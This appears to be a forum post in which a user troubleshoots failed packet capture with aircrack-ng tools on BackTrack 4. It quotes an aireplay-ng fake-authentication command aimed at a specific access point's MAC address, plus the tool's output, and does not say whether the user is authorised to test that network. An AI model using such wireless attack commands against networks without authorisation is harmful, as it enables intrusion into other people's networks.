I'm having problem with capturing packets this the first time it has happened to me and i googled the problem. Now it works fine with backtrack 3 and ubuntu but for some reason with backtrack 4 it's not working, now these are the commands I'm using and the outputs I'm getting.


Code:
root@YOU:~# aireplay-ng -1 0 -a 00:1D:68:E8:9A:87 mon0
No source MAC (-h) specified. Using the device MAC (00:24:2B:7C:3E:9D)

You should also start airodump-ng to capture replies.

I know it said it didn't specify a mac but even when i do specify a mac it still doesn't work..
